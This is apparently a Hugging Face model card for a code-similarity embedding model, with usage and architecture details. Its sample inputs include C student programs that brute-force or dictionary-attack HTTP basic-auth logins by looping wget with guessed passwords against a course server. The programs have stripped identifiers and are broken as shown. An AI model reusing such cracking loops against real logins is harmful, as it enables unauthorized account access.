  - source_sentence: "\n\n#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n#define MAX_SIZE 255\n\n\nint  (int argc, char *argv[])\n {\n     FILE *fp;\n     \n   while(1)\n    {       \n      system(\"wget -p http://www.cs.rmit.edu./students\");\n\n\n\n      system(\"mkdir data\"); \n      if((fp=fopen(\"./data/index.html\",\"r\"))==NULL)\n       { \n         system(\"cp www.cs.rmit.edu./students/index.html ./data\");\n\t \n       }\n      else\n       {  \n               \n\t \n\t system(\"diff ./data/index.html www.cs.rmit.edu./students/index.html | mail @cs.rmit.edu.\");\n\t system(\"cp www.cs.rmit.edu./students/index.html ./data\");\n       }     \n\n\n\n      system(\"mkdir images\"); \n      if((fp=fopen(\"./images/file.txt\",\"r\"))==NULL)\n       { \n          system(\"md5sum www.cs.rmit.edu./images/*.* > ./images/file.txt\");\n\t\t \n       }\n      \n      else\n       {          \n          system(\"md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt\");\n\t \n\t \n\t \n\t system(\"diff ./images/file.txt www.cs.rmit.edu./file.txt | mail @cs.rmit.edu.\");\n\t system(\"cp www.cs.rmit.edu./file.txt ./images\");\n       }\n     sleep(86400); \n    }\t\n     return (EXIT_SUCCESS);\n  }\n     \n\t   \n\t  \t\n"
    sentences:
      - >+



        #define _REENTRANT

        #include <sys/time.h>

        #include <sys/types.h>

        #include <stdio.h>

        #include <string.h>

        #include <stdlib.h>

        #include <stdarg.h>

        #include <unistd.h>

        #include <errno.h>

        #include <ctype.h>

        #include <pthread.h>

        #include <signal.h>



        #define MAX_THREADS 1000

        #define MAX_COMBO 

        #define false 0

        #define true 1



        static char
        *alphabet="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";

        static char **combination=NULL;

        static char host[128];



        pthread_mutex_t counter_lock = PTHREAD_MUTEX_INITIALIZER;

        pthread_mutex_t thread_lock = PTHREAD_MUTEX_INITIALIZER;

        pthread_cond_t start_hacking = PTHREAD_COND_INITIALIZER;

        pthread_cond_t thread_ready = PTHREAD_COND_INITIALIZER;



        static int attempt_count=0;

        static int combo_entries=0;


        static struct timeval ;

        static struct timeval stop;

        static int thread_ready_indicator=false;

        static int thread_start_indicator=false;

        static int thread_count=0;



        typedef struct range

        {
          int ;
          int ;
        }range;



        void *client(void *arg)

        {
          
          int i=0, status=1;
          range *= (struct range*)arg;

          
          char local_buffer[128];

          pthread_mutex_lock(&thread_lock);
          thread_ready_indicator=true;

          
          pthread_cond_signal(&thread_ready);

          
          while(thread_start_indicator==false) pthread_cond_wait(&start_hacking, &thread_lock);
            fflush(stdout);
          pthread_mutex_unlock(&thread_lock);

          
          for(i=->; i<=-> && i<combo_entries; i++)
          {
            
            sprintf(local_buffer,
            "wget -q -C off -o //null -O //null --http-user=%s --http-passwd=%s %s",
            "", combination[i], host);

            
            status=system(local_buffer);
            

            
            if(status==0)
            {
              printf("\n\nusername: \npassword: %s\n\n", combination[i]);
              fflush(stdout);

              
              pthread_mutex_lock(&counter_lock);

                attempt_count++;
                gettimeofday(&stop, NULL);

                printf("About %d attempts were , which took %ld.%ld seconds  complete.\n",
                attempt_count, stop.tv_sec-.tv_sec, labs(stop.tv_usec-.tv_usec));
                fflush(stdout);

              pthread_mutex_unlock(&counter_lock);

              
              exit(EXIT_SUCCESS);
            }
            else
            {
              
              pthread_mutex_lock(&counter_lock);
                attempt_count++;
              pthread_mutex_unlock(&counter_lock);
            }
          }
          pthread_exit(NULL);
        }



        char *getNextCombination()

        {
          
          static int i=0;
          static int j=0;
          static int k=0;

          static int mode=1;
          char *word;


          

          if(i>51)
          {
            mode++; i=0; j=0; k=0;
          }

          
          if(mode==1)
          {
            char *word = calloc(mode, 1);
            word[0]=alphabet[i++];
            word[1]='\0';
            return word;
          }

          
          if(mode==2)
          {
            if(j>51)
            {
              i++; j=0;
            }

            if(i>51)
            {
              mode++;
              i=0; j=0; j=0;
            }
            else
            {
              char *word = calloc(mode, 1);
              word[0]=alphabet[i];
              word[1]=alphabet[j++];
              word[2]='\0';
              return word;
            }
          }

          
          if(mode==3)
          {
            if(k>51)
            {
              j++; k=0;
            }

            if(j>51)
            {
              i++; j=0;
            }

            if(i>51)
            {
               mode++;
               i=0; j=0; j=0;
             }
             else
             {
               char *word = calloc(mode, 1);
               word[0]=alphabet[i];
               word[1]=alphabet[j];
               word[2]=alphabet[k++];
               word[3]='\0';
               return word;
             }
           }
           return NULL;
        }



        int main(int argc, char **argv)

        {
          
          int wait_status=0, i=0, j=0, num_threads=0;
          int partition=0, prev_min=0, prev_max=0;
          int len=0;
          char *word; range *;
          pthread_t tid[MAX_THREADS];
          int non_alpha_detected=0;

          
          if(argc<3)
          {
            puts("Incorrect usage!");
            puts("./brute num_threads url");
            exit(EXIT_FAILURE);
          }

          
          strcpy(host, argv[2]);

          
          num_threads=atoi(argv[1]);

          
          combination = (char **)calloc(MAX_COMBO, sizeof(char *));

          printf("Process ID for the  thread is: %d\n", getpid());
          printf("Creating brute-force dictionary ... ");
          
          
          while( (word=getNextCombination())!= NULL && i<MAX_COMBO)
          {
            combination[i]=calloc(strlen(word)+1, sizeof(char));
            strcpy(combination[i++], word);
            combo_entries++;
          }
          puts("");
          j=0;

          
          partition=combo_entries/num_threads;

          
          if(partition==0)
          {
            puts("Reducing the number of threads  match the number of words.");
            num_threads=combo_entries;
            partition=1;
          }

          
          prev_min=0;
          prev_max=partition;
          i=0;

          memset(&, 0, sizeof(struct timeval));
          memset(&stop, 0, sizeof(struct timeval));

          
          while(i<num_threads && i<MAX_THREADS)
          {
            
            =malloc(sizeof(struct range));
            ->=prev_min;
            ->=prev_max;

            
            pthread_mutex_lock(&thread_lock);
              thread_ready_indicator=false;
            pthread_mutex_unlock(&thread_lock);

            
            if(pthread_create(&tid[i++], NULL, client, (void *))!=0) puts("Bad thread ...");

            
            pthread_mutex_lock(&thread_lock);
              while(thread_ready_indicator==false) pthread_cond_wait(&thread_ready, &thread_lock);
            pthread_mutex_unlock(&thread_lock);

            
            prev_min+=partition+1;

            
            if(i==num_threads)
            {
              prev_max=combo_entries;
            }
            else
            {
              prev_max+=partition+1;
            }
          }

          
          gettimeofday(&, NULL);

          
          pthread_mutex_lock(&thread_lock);
            thread_start_indicator=true;
          pthread_mutex_unlock(&thread_lock);

          
          pthread_cond_broadcast(&start_hacking);

          
          printf("Created %d threads  process %d passwords\n", num_threads, combo_entries);
          printf("Attacking host: %s\n", host);
          fflush(stdout);

          
          for(i=0; i<num_threads && i<MAX_THREADS; i++)  pthread_join(tid[i], NULL);

          gettimeofday(&stop, NULL);

          
          puts("Could not determine the password for this site.");
          printf("About %d attempts were , which took %ld.%ld seconds  complete.\n",
          attempt_count, stop.tv_sec-.tv_sec, labs(stop.tv_usec-.tv_usec));
          fflush(stdout);

          
          for(i=0; i<combo_entries; i++) (combination[i]);
          (*combination);

          return EXIT_SUCCESS;
        }

      - "#include<stdio.h>\n#include<string.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<sys/time.h>\n\n\npublic static void main()\n{\n\tint i;\n\tchar ar[100];\n\tFILE* f;\n\tFILE* ;\n\tsystem(\"wget -O first www.rmit.edu./students\");  \n\twhile(1)\n\t{\n\t\tsleep(86400);\t\n\t\tsystem(\"rm -f thed\");\n\t\tsystem(\"rm -f new\");\n\t\tsystem(\"wget -O new www.cs.rmit.edu./students\");\t\n\t\tsystem(\"diff new first >thed\");\t\n\t\tf=fopen(\"thed\",\"r\");\n\t\tif(fgets(ar,100,f)!=NULL)\n\t\t{\t\t\n\t\t\t printf(\"\\n\\n The  has CHANGEDS\");\t\t\n\t\t\tsystem(\"mail @cs.rmit.edu. <thed\"); \n\t\t\tsystem(\"cp new first\");\n\t\t\tfclose(f);\n\t\t}\n\t\telse\n\t\t{\n\t\tfclose(f);\n\t\tprintf(\"\\n\\nthe  has not changed \");\n\t\t}\n\t}\n\n}\n\n\t\n\t\n\t\n\t\t\n\n\n"
      - "#include<stdio.h>\n#include<stdlib.h>\n#include<string.h>\n#include<ctype.h>\n#include<time.h>\n\nint ()\n{\n\n int m,n,o,i;\n char URL[255];\n char v[3];\n char temp1[100];\nchar temp2[100];\nchar temp3[250];\nchar [53]={'a','A','b','B','c','C','d','D','e','E','f','F','g','G','h','H','i','I','j','J','k','K','l','L','m','M','n','N','o','O','p','P','q','Q','r','R','s','S','t','T','u','U','v','V','w','W','x','X','y','Y','z','Z'};\ntime_t u1,u2;\n\n  (void) time(&u1); \n strcpy(temp1,\"wget --http-user= --http-passwd=\");\n strcpy(temp2,\" http://sec-crack.cs.rmit.edu./SEC/2/index.php\");\n \n for(m=0;m<=51;m++)\n {\n   v[0]=[m]; \n   v[1]='\\0';\n   v[2]='\\0';\n   strcpy(URL,v); \n   printf(\"\\nTesting with password %s\\n\",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf(\"\\nSending the  %s\\n\",temp3);\n   i=system(temp3); \n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf(\"\\n The password is %s\\n\",URL);\n\t printf(\"\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n\",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,\"\");\n\t}\n  for(n=0;n<=51;n++)\n  {\n   v[0]=[m]; \n   v[1]=[n];\n   v[2]='\\0';\n   strcpy(URL,v); \n   printf(\"\\nTesting with password %s\\n\",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf(\"\\nSending the  %s\\n\",temp3);\n   i=system(temp3);\n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf(\"\\n The password is %s\\n\",URL);\n\t printf(\"\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n\",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,\"\");\n\t}\n   for(o=0;o<=51;o++)\n   { \n   v[0]=[m]; \n   v[1]=[n];\n   v[2]=[o];\n   strcpy(URL,v); \n   printf(\"\\nTesting with password %s\\n\",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf(\"\\nSending the  %s\\n\",temp3);\n   i=system(temp3);\n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf(\"\\n The password is %s\\n\",URL);\n\t printf(\"\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n\",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,\"\");\n\t}\n   \n   \n   }\n  }\n }  \n  \n}  \n"
  - source_sentence: "\n#include <stdio.h>\n#include <stdlib.h>\n#include <ctype.h>\n#include <strings.h>\n#include <sys/times.h>\n#define OneBillion 1e9\n\nint () {\n   FILE *fptr;\n   char pass[257];\n   char send[100],path[50];\n   int res,count=0;\n   int startTime, stopTime, final;\n   startTime = time();\n   while((fptr=(fopen(\"/usr/share/lib/dict/words\",\"r\")))!= NULL) {\n   \n      while(1) {\n         fgets(pass,256,fptr);\n         if(pass == NULL) exit(1);\n         if(pass[3]=='\\n') {\n            pass[3]='\\0';\n\t    send[0]='\\0';\n\t    strcpy(send,\"wget --http-user= --http-passwd=\");\n \t    strcat(send,pass);\n\t    strcat(send,\" http://sec-crack.cs.rmit.edu./SEC/2/\");\n\t    count++;\n\t    if((res=(system(send)) == 0)) {\n\t       fclose(fptr);\n\t       stopTime = time();\n               final = stopTime-startTime;\n\t       printf(\"\\n THE PASSWORD IS = %s & TIME TAKEN =%lf seconds &  OF COMPARISIONs  = %d\\n\",pass,(double)final/OneBillion,count);\n\t       exit(1);\n\t    }\n         }\n      }\n   }\n   printf(\"\\nFILE CANNOT  OPENED\\n\");\n}\n"
    sentences:
      - "\n\n\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <sys/stat.h>\n#include <unistd.h>\n\n#define USERNAME \"\"\n#define URL \"sec-crack.cs.rmit.edu./SEC/2\"\n#define TEST_URL \"yallara.cs.rmit.edu./~/secure\"\n#define MAX_PASSWD_LEN 3\n\n#define DICT_FILE \"/usr/share/lib/dict/words\"\n#define TRUE 1\n#define FALSE 0\n\ntypedef int (*CrackFuncPtr)(const char*, const char*);\n\ntypedef struct node* NodePtr;\n\ntypedef struct node\n{\n\tchar str[50];\n\tNodePtr next;\t\n} Node;\n\ntypedef struct list* ListPtr;\n\ntypedef struct list\n{\n\tNodePtr head;\n\tint ctr;\n} List;\n\nNodePtr makeNode(const char *str);\nvoid printList(const ListPtr l);\nvoid loadFile(const char fname[], ListPtr l);\nvoid add(ListPtr l, const char *str);\nint crackHTTPAuth(const char *username, const char *passwd);\nvoid runDictCrack(const ListPtr l, CrackFuncPtr func);\nvoid freeWList(ListPtr wL);\nint isValidPasswd(const char *str);\n\nint ()\n{\n\tList wordList;\n\n\twordList.head = NULL;\n\twordList.ctr = 0;\n\n\tloadFile(DICT_FILE, &wordList);\n\n\trunDictCrack(&wordList, crackHTTPAuth);\n\n\tfreeWList(&wordList);\n\treturn 0;\n\t\n}\n\n\n\nNodePtr makeNode(const char *str)\n{\n\tNodePtr newNode = malloc(sizeof(Node));\n\t\n\tif (newNode)\n\t{\n\t\tstrncpy(newNode->str, str, strlen(str)+1);\n\t\tnewNode->next = NULL;\t\n\t\treturn newNode;\n\t}\n\telse\n\t{\n\t\tfprintf(stderr, \"\\nError: Unable  allocate %d btyes memory\\n\", sizeof(Node));\n\t\treturn NULL;\n\t}\n\n}\n\n\n\nvoid add(ListPtr l, const char *str)\n{\n\tNodePtr *iter;\n\tNodePtr n ;\n\tn = makeNode(str);\n\n\tif (n == NULL)\n\t{\n\t\texit(1);\n\t}\n\n\titer = &(l->head);\n\n\tif (l->head == NULL)\n\t{\n\t\tl->head = n;\n\t}\n\telse\n\t{\n\t\twhile (*iter != NULL)\n\t\t{\n\t\t\titer = &((*iter)->next);\n\t\t}\n\n\t}\n\n\tl->ctr = l->ctr+1;\n\n\t*iter = n;\n\t(l->ctr)++;\n\t\n}\n\n\n\nvoid printList(const ListPtr l)\n{\n\tNodePtr iter = l->head;\n\n\twhile (iter != NULL)\n\t{\n\t\tprintf(\"\\n%s\", iter->str);\n\t\titer = iter->next;\n\t}\n}\n\n\n\n\nvoid loadFile(const char fname[], ListPtr l)\n{\n\tFILE *fp;\n\tchar str[50];\n\tNodePtr p;\n\tint i=0;\n\t\n\tfp = fopen(fname, \"r\");\n\n\tif (fp)\n\t{\n\t\tprintf(\"\\nLoading dictionary file...\\n\");\n\t\twhile(fgets(str, 50, fp) != NULL)\n\t\t{\n\t\t\tif (str[strlen(str)-1] == '\\n')\n\t\t\t{\n\t\t\t\tstr[strlen(str)-1] = '\\0';\n\t\t\t}\n\n\t\t\tif (isValidPasswd(str))\n\t\t\t{\n\t\t\t\tadd(l, str);\n\t\t\t\ti++;\n\t\t\t}\n\t\t}\n\t\tprintf(\"total %d\\n\", i);\n\t}\n\telse\n\t{\n\t\tfprintf(stderr, \"\\nError: Cannot  dictionary file\\n\");\n\t\texit(1);\n\t}\n\n\tfclose(fp);\n}\n\n\n\nint crackHTTPAuth(const char *username, const char *passwd)\n{\n\tchar cmd[3000] = \"\";\n\tstruct stat fileInfo;\n\tint success = FALSE;\n\t\t\t\t\t\n\tsprintf(cmd, \"wget -O dictTemp -q --http-user=%s --http-passwd=%s --proxy=off %s\", \n\t\tusername, passwd, URL);\n\n\tsystem(cmd);\t\n\t\n\t(void)stat(\"dictTemp\", &fileInfo); \n\t\n\treturn fileInfo.st_size;\n\t\t\t\t\t\t\t\t\t\n}\n\n\n\nvoid runDictCrack(const ListPtr l, CrackFuncPtr func)\n{\n\tNodePtr iter;\n\n\titer = l->head;\n\n\twhile (iter != NULL)\n\t{\n\t\tif(func(USERNAME, iter->str))\n\t\t{\n\t\t\tprintf(\"\\nPassword found: %s\", iter->str);\n\t\t\tbreak;\n\t\t}\n\t\telse\n\t\t{\n\t\t\titer = iter->next;\n\t\t}\n\t\t\n\t}\n}\n\n\n\nvoid freeWList(ListPtr wL)\n{\n\tNodePtr iter, next;\n\n\titer = wL->head;\n\n\tnext = iter->next;\n\n\twhile (iter != NULL)\n\t{\n\t\tnext = iter->next;\t\t\n\t\t(iter);\n\t\titer = NULL;\n\t\titer = next;\n\t}\n}\n\n\n\nint isValidPasswd(const char *str)\n{\n\tint len = strlen(str);\n\tint i;\n\t\n\tif (len <= MAX_PASSWD_LEN)\n\t{\n\t\tfor\t(i=0; i<len; i++)\n\t\t{\n\t\t\tif (!isalpha(str[i]))\n\t\t\t{\n\t\t\t\treturn FALSE;\n\t\t\t}\n\t\t}\n\t\treturn TRUE;\n\t}\n\telse\n\t{\n\t\treturn FALSE;\n\t}\n}\n"
      - "#include<stdio.h>\n#include<stdlib.h>\n#include<strings.h>\n#include<ctype.h>\n#include <sys/time.h>\n#define OneBillion 1e9\n\n\nint ()\n{   int startTime, stopTime, final;\n    int i,j,k;\n    int pass,count=0;\n    char arr[52] ={'A','a','B','b','C','c','D','d','E','e','F','f','G','g','H','h','I','i','J','j','K','k','L','l','M','m','N','n','O','o','P','p','Q','q','R','r','S','s','T','t','U','u','V','v','W','w','X','x','Y','y','Z','z'};\n    char [4];\n    char url1[100];\n    char url2[100];\n\n    startTime = time();\n   for (i=0;i<=52;i++)\n   {\n\n     for (j=0;j<=52;j++)\n       {\n\n\tfor(k=0;k<=52;k++)\n\n\t  { \n\t     count++;\n             [0] = arr[i];\n\t     [1] = arr[j];\n\t     [2] = arr[k];\n\t     [3] = '\\0';\n\n\n\t     printf(\"Checking for the word :%s\\n\",);\n\t     strcpy(url1 ,\"wget --http-user= --http-passwd=\");\n\t     strcpy(url2 , \" -nv -o output http://sec-crack.cs.rmit.edu./SEC/2/ \");\n\t     strcat(url1,);\n\t     strcat(url1,url2);\n\n\n\t     pass = system(url1);\n\t     if (pass == 0)\n\t     {   \n                printf(\"Success\\n\");\n\t\tprintf(\"Number of attempts = %d\\n\",count);\n\t        stopTime = time();\n\n                final = stopTime-startTime;\n\t\tprintf(\"The password for the user  : %s\\n\",); \n                printf(\" Cracked the password in %lld nanoseconds (%1f seconds) \\n\",final,(double)final/OneBillion);\n\t        \n\t\texit(1);}\n\n\n\t      }\n        }\n\n   }\n }\n\n\n"
      - "\n\n#include<stdio.h>\n#include<stdlib.h>\n#include <sys/types.h>\n#include <unistd.h>\n#include <sys/time.h>\n#include<string.h>\nint ()\n{\nchar a[100],c[100],c1[100],c2[100],m[50];\nchar b[53]=\"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\";\n\nint i,j,k,count=0;\nint  total_time,start_time,end_time;\nstart_time = time();\n\n\nfor(i=0;i<52;i++)\n{\n\t\n\tm[0]=b[i];\n\tm[1]='\\0';\n\tstrcpy(c,m);\n\tprintf(\"%s \\n\",c);\n\tfor(j=0;j<52;j++)\n\t{\n\tm[0]=b[j];\n\tm[1]='\\0';\n\tstrcpy(c1,c);\n\tstrcat(c1,m);\n\tprintf(\"%s \\n\",c1);\n\tfor(k=0;k<52;k++)\n\t{\n\t\tcount++;\n\t\tprintf(\"ATTEMPT :%d\\n\",count);\n\t\t\n\t\tm[0]=b[k];\n\t\tm[1]='\\0';\n\t\tstrcpy(c2,c1);\n\t\tstrcat(c2,m);\n\nstrcpy(a,\"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php --http-user= --http-passwd=\");\n\n\t\tstrcat(a,c2);\t\t\n\t\tif(system(a)==0)\n\t\t{\n\t\tprintf(\"Congratulations!!!!BruteForce Attack Successful\\n\");\n\t\tprintf(\"***********************************************\\n\");\n\t\tprintf(\"The Password is %s\\n\",c2);\n\t\tprintf(\"The Request sent is %s\\n\",a); \n                end_time = time();\n                total_time = (end_time -start_time);\n                total_time /= 1000000000.0;\n                printf(\"The Time Taken is : %llds\\n\",total_time);\n\t\texit(1);\n\t\t}\n\t\t\n\t\t\n\t\t\n\t\t\n\t}\n\n}\n}\nreturn 0;\n}\n"
pipeline_tag: sentence-similarity
library_name: sentence-transformers

SentenceTransformer based on uclanlp/plbart-java-cs

This is a sentence-transformers model finetuned from uclanlp/plbart-java-cs. It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more.

Model Details

Model Description

  • Model Type: Sentence Transformer
  • Base model: uclanlp/plbart-java-cs
  • Maximum Sequence Length: 512 tokens
  • Output Dimensionality: 768 dimensions
  • Similarity Function: Cosine Similarity

Model Sources

Full Model Architecture

SentenceTransformer(
  (0): Transformer({'max_seq_length': 512, 'do_lower_case': False, 'architecture': 'PLBartModel'})
  (1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True})
)

Usage

Direct Usage (Sentence Transformers)

First install the Sentence Transformers library:

pip install -U sentence-transformers

Then you can load this model and run inference.

from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-PLBART-ST")
# Run inference
sentences = [
    '\n#include <stdio.h>\n#include <stdlib.h>\n#include <ctype.h>\n#include <strings.h>\n#include <sys/times.h>\n#define OneBillion 1e9\n\nint () {\n   FILE *fptr;\n   char pass[257];\n   char send[100],path[50];\n   int res,count=0;\n   int startTime, stopTime, final;\n   startTime = time();\n   while((fptr=(fopen("/usr/share/lib/dict/words","r")))!= NULL) {\n   \n      while(1) {\n         fgets(pass,256,fptr);\n         if(pass == NULL) exit(1);\n         if(pass[3]==\'\\n\') {\n            pass[3]=\'\\0\';\n\t    send[0]=\'\\0\';\n\t    strcpy(send,"wget --http-user= --http-passwd=");\n \t    strcat(send,pass);\n\t    strcat(send," http://sec-crack.cs.rmit.edu./SEC/2/");\n\t    count++;\n\t    if((res=(system(send)) == 0)) {\n\t       fclose(fptr);\n\t       stopTime = time();\n               final = stopTime-startTime;\n\t       printf("\\n THE PASSWORD IS = %s & TIME TAKEN =%lf seconds &  OF COMPARISIONs  = %d\\n",pass,(double)final/OneBillion,count);\n\t       exit(1);\n\t    }\n         }\n      }\n   }\n   printf("\\nFILE CANNOT  OPENED\\n");\n}\n',
    '#include<stdio.h>\n#include<stdlib.h>\n#include<strings.h>\n#include<ctype.h>\n#include <sys/time.h>\n#define OneBillion 1e9\n\n\nint ()\n{   int startTime, stopTime, final;\n    int i,j,k;\n    int pass,count=0;\n    char arr[52] ={\'A\',\'a\',\'B\',\'b\',\'C\',\'c\',\'D\',\'d\',\'E\',\'e\',\'F\',\'f\',\'G\',\'g\',\'H\',\'h\',\'I\',\'i\',\'J\',\'j\',\'K\',\'k\',\'L\',\'l\',\'M\',\'m\',\'N\',\'n\',\'O\',\'o\',\'P\',\'p\',\'Q\',\'q\',\'R\',\'r\',\'S\',\'s\',\'T\',\'t\',\'U\',\'u\',\'V\',\'v\',\'W\',\'w\',\'X\',\'x\',\'Y\',\'y\',\'Z\',\'z\'};\n    char [4];\n    char url1[100];\n    char url2[100];\n\n    startTime = time();\n   for (i=0;i<=52;i++)\n   {\n\n     for (j=0;j<=52;j++)\n       {\n\n\tfor(k=0;k<=52;k++)\n\n\t  { \n\t     count++;\n             [0] = arr[i];\n\t     [1] = arr[j];\n\t     [2] = arr[k];\n\t     [3] = \'\\0\';\n\n\n\t     printf("Checking for the word :%s\\n",);\n\t     strcpy(url1 ,"wget --http-user= --http-passwd=");\n\t     strcpy(url2 , " -nv -o output http://sec-crack.cs.rmit.edu./SEC/2/ ");\n\t     strcat(url1,);\n\t     strcat(url1,url2);\n\n\n\t     pass = system(url1);\n\t     if (pass == 0)\n\t     {   \n                printf("Success\\n");\n\t\tprintf("Number of attempts = %d\\n",count);\n\t        stopTime = time();\n\n                final = stopTime-startTime;\n\t\tprintf("The password for the user  : %s\\n",); \n                printf(" Cracked the password in %lld nanoseconds (%1f seconds) \\n",final,(double)final/OneBillion);\n\t        \n\t\texit(1);}\n\n\n\t      }\n        }\n\n   }\n }\n\n\n',
    '\n\n\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <sys/stat.h>\n#include <unistd.h>\n\n#define USERNAME ""\n#define URL "sec-crack.cs.rmit.edu./SEC/2"\n#define TEST_URL "yallara.cs.rmit.edu./~/secure"\n#define MAX_PASSWD_LEN 3\n\n#define DICT_FILE "/usr/share/lib/dict/words"\n#define TRUE 1\n#define FALSE 0\n\ntypedef int (*CrackFuncPtr)(const char*, const char*);\n\ntypedef struct node* NodePtr;\n\ntypedef struct node\n{\n\tchar str[50];\n\tNodePtr next;\t\n} Node;\n\ntypedef struct list* ListPtr;\n\ntypedef struct list\n{\n\tNodePtr head;\n\tint ctr;\n} List;\n\nNodePtr makeNode(const char *str);\nvoid printList(const ListPtr l);\nvoid loadFile(const char fname[], ListPtr l);\nvoid add(ListPtr l, const char *str);\nint crackHTTPAuth(const char *username, const char *passwd);\nvoid runDictCrack(const ListPtr l, CrackFuncPtr func);\nvoid freeWList(ListPtr wL);\nint isValidPasswd(const char *str);\n\nint ()\n{\n\tList wordList;\n\n\twordList.head = NULL;\n\twordList.ctr = 0;\n\n\tloadFile(DICT_FILE, &wordList);\n\n\trunDictCrack(&wordList, crackHTTPAuth);\n\n\tfreeWList(&wordList);\n\treturn 0;\n\t\n}\n\n\n\nNodePtr makeNode(const char *str)\n{\n\tNodePtr newNode = malloc(sizeof(Node));\n\t\n\tif (newNode)\n\t{\n\t\tstrncpy(newNode->str, str, strlen(str)+1);\n\t\tnewNode->next = NULL;\t\n\t\treturn newNode;\n\t}\n\telse\n\t{\n\t\tfprintf(stderr, "\\nError: Unable  allocate %d btyes memory\\n", sizeof(Node));\n\t\treturn NULL;\n\t}\n\n}\n\n\n\nvoid add(ListPtr l, const char *str)\n{\n\tNodePtr *iter;\n\tNodePtr n ;\n\tn = makeNode(str);\n\n\tif (n == NULL)\n\t{\n\t\texit(1);\n\t}\n\n\titer = &(l->head);\n\n\tif (l->head == NULL)\n\t{\n\t\tl->head = n;\n\t}\n\telse\n\t{\n\t\twhile (*iter != NULL)\n\t\t{\n\t\t\titer = &((*iter)->next);\n\t\t}\n\n\t}\n\n\tl->ctr = l->ctr+1;\n\n\t*iter = n;\n\t(l->ctr)++;\n\t\n}\n\n\n\nvoid printList(const ListPtr l)\n{\n\tNodePtr iter = l->head;\n\n\twhile (iter != NULL)\n\t{\n\t\tprintf("\\n%s", iter->str);\n\t\titer = iter->next;\n\t}\n}\n\n\n\n\nvoid loadFile(const char fname[], ListPtr l)\n{\n\tFILE *fp;\n\tchar str[50];\n\tNodePtr p;\n\tint i=0;\n\t\n\tfp = fopen(fname, "r");\n\n\tif (fp)\n\t{\n\t\tprintf("\\nLoading dictionary file...\\n");\n\t\twhile(fgets(str, 50, fp) != NULL)\n\t\t{\n\t\t\tif (str[strlen(str)-1] == \'\\n\')\n\t\t\t{\n\t\t\t\tstr[strlen(str)-1] = \'\\0\';\n\t\t\t}\n\n\t\t\tif (isValidPasswd(str))\n\t\t\t{\n\t\t\t\tadd(l, str);\n\t\t\t\ti++;\n\t\t\t}\n\t\t}\n\t\tprintf("total %d\\n", i);\n\t}\n\telse\n\t{\n\t\tfprintf(stderr, "\\nError: Cannot  dictionary file\\n");\n\t\texit(1);\n\t}\n\n\tfclose(fp);\n}\n\n\n\nint crackHTTPAuth(const char *username, const char *passwd)\n{\n\tchar cmd[3000] = "";\n\tstruct stat fileInfo;\n\tint success = FALSE;\n\t\t\t\t\t\n\tsprintf(cmd, "wget -O dictTemp -q --http-user=%s --http-passwd=%s --proxy=off %s", \n\t\tusername, passwd, URL);\n\n\tsystem(cmd);\t\n\t\n\t(void)stat("dictTemp", &fileInfo); \n\t\n\treturn fileInfo.st_size;\n\t\t\t\t\t\t\t\t\t\n}\n\n\n\nvoid runDictCrack(const ListPtr l, CrackFuncPtr func)\n{\n\tNodePtr iter;\n\n\titer = l->head;\n\n\twhile (iter != NULL)\n\t{\n\t\tif(func(USERNAME, iter->str))\n\t\t{\n\t\t\tprintf("\\nPassword found: %s", iter->str);\n\t\t\tbreak;\n\t\t}\n\t\telse\n\t\t{\n\t\t\titer = iter->next;\n\t\t}\n\t\t\n\t}\n}\n\n\n\nvoid freeWList(ListPtr wL)\n{\n\tNodePtr iter, next;\n\n\titer = wL->head;\n\n\tnext = iter->next;\n\n\twhile (iter != NULL)\n\t{\n\t\tnext = iter->next;\t\t\n\t\t(iter);\n\t\titer = NULL;\n\t\titer = next;\n\t}\n}\n\n\n\nint isValidPasswd(const char *str)\n{\n\tint len = strlen(str);\n\tint i;\n\t\n\tif (len <= MAX_PASSWD_LEN)\n\t{\n\t\tfor\t(i=0; i<len; i++)\n\t\t{\n\t\t\tif (!isalpha(str[i]))\n\t\t\t{\n\t\t\t\treturn FALSE;\n\t\t\t}\n\t\t}\n\t\treturn TRUE;\n\t}\n\telse\n\t{\n\t\treturn FALSE;\n\t}\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9742, 0.9676],
#         [0.9742, 1.0000, 0.9571],
#         [0.9676, 0.9571, 1.0000]])

Training Details

Training Dataset

Unnamed Dataset

  • Size: 3,081 training samples
  • Columns: sentence_0, sentence_1, and label
  • Approximate statistics based on the first 1000 samples:
    sentence_0 sentence_1 label
    type string string int
    details
    • min: 146 tokens
    • mean: 381.73 tokens
    • max: 512 tokens
